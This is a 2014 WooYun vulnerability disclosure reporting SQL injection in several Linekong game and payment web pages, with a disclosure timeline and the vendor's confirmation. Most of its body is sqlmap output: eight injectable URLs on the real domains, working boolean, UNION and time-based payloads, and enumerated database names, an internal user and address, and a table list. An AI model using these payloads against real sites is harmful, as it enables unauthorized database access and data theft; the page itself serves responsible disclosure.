当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052809

漏洞标题:蓝港在线多处存在SQL注入漏洞

相关厂商:linekong.com

漏洞作者: HackBraid

提交时间:2014-03-05 10:52

修复时间:2014-04-19 10:53

公开时间:2014-04-19 10:53

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-05: 细节已通知厂商并且等待厂商处理中
2014-03-11: 厂商已经确认,细节仅向厂商公开
2014-03-21: 细节向核心白帽子及相关领域专家公开
2014-03-31: 细节向普通白帽子公开
2014-04-10: 细节向实习白帽子公开
2014-04-19: 细节向公众公开

简要描述:

SQL注入

详细说明:

注入点:
1.http://www.linekong.com/pay/sk_core.php?city=%E5%AE%89%E5%BE%BD
2.http://www.linekong.com/pay/xk.php?city=
3.http://ss.linekong.com/xml/index1.php?sort_id=43%22/
4.http://yb.linekong.com/morei.php?sort_id=223
5.http://yt.linekong.com/voting.php?types=radio&vote_id=33
6.http://yt.linekong.com/wj_image.php?image_id=11378 倚天剑与屠龙刀
7.http://xyhj.linekong.com/painting.php?sort_id=44&page=1
8.http://xyhj.linekong.com/wallpaper.php?sort_id=43&page=1

漏洞证明:

http://www.linekong.com/pay/sk_core.php?city=%E5%AE%89%E5%BE%BD
User:

Parameter: city
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: city=%E5%AE%89%E5%BE%BD' AND 5983=5983 AND 'vPwg'='vPwg
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: city=%E5%AE%89%E5%BE%BD' UNION ALL SELECT NULL,NULL,CONCAT(0x7178627271,0x6c5775764d4650464c57,0x71696d7371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: city=%E5%AE%89%E5%BE%BD' AND SLEEP(5) AND 'xuOq'='xuOq
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user: 'wwwwebutf8@172.16.9.162'
sqlmap identified the following injection poi


DB:

current database:    'www_web_utf8'


tables:

Database: www_web_utf8
[28 tables]
+-------------------+
| lk_address |
| lk_article |
| lk_article_inserl |
| lk_build |
| lk_channel |
| lk_city_temp |
| lk_columns |
| lk_download |
| lk_editors_inserl |
| lk_from_temp |
| lk_grading |
| lk_group |
| lk_high_temp |
| lk_image |
| lk_image_inserl |
| lk_inserl |
| lk_job |
| lk_job_info |
| lk_job_temp |
| lk_member |
| lk_sort |
| lk_types |
| lk_url |
| lk_url_inserl |
| lk_vote |
| lk_vote_inserl |
| lk_vote_option |
| lk_zhaopin |
+-------------------+


http://ss.linekong.com/xml/index1.php?sort_id=43%22/

Place: GET
Parameter: sort_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sort_id=43"/' AND 5368=5368 AND 'MMbj'='MMbj
Type: UNION query
Title: MySQL UNION query (NULL) - 46 columns
Payload: sort_id=43"/' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716f626171,0x77495a4148764769644c,0x7161617871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sort_id=43"/' AND SLEEP(5) AND 'xFnh'='xFnh
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database: 'ss_web'


http://yb.linekong.com/morei.php?sort_id=223

Place: GET
Parameter: sort_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sort_id=223) AND 6951=6951 AND (5810=5810
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: sort_id=223) UNION ALL SELECT NULL,CONCAT(0x71716d7271,0x4a777479754e494d754f,0x71676e7671),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sort_id=223) AND SLEEP(5) AND (3864=3864
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database: 'yb_web'


http://yt.linekong.com/voting.php?types=radio&vote_id=33

Place: GET
Parameter: vote_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: types=radio&vote_id=33' AND SLEEP(5) AND 'tjha'='tjha
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user is DBA: False
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: vote_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: types=radio&vote_id=33' AND SLEEP(5) AND 'tjha'='tjha
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database: 'yt_web'


http://xyhj.linekong.com/painting.php?sort_id=44&page=1

Place: GET
Parameter: sort_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sort_id=43) AND 5820=5820 AND (3196=3196&page=1
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: sort_id=43) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161766d71,0x594e6a63736772704a63,0x71616f7871),NULL#&page=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sort_id=43) AND SLEEP(5) AND (1541=1541&page=1
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database: 'xyhj_web'


修复方案:

您懂得!

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-03-11 11:28

厂商回复:

已经在狂修改中.. 谢谢

最新状态:

暂无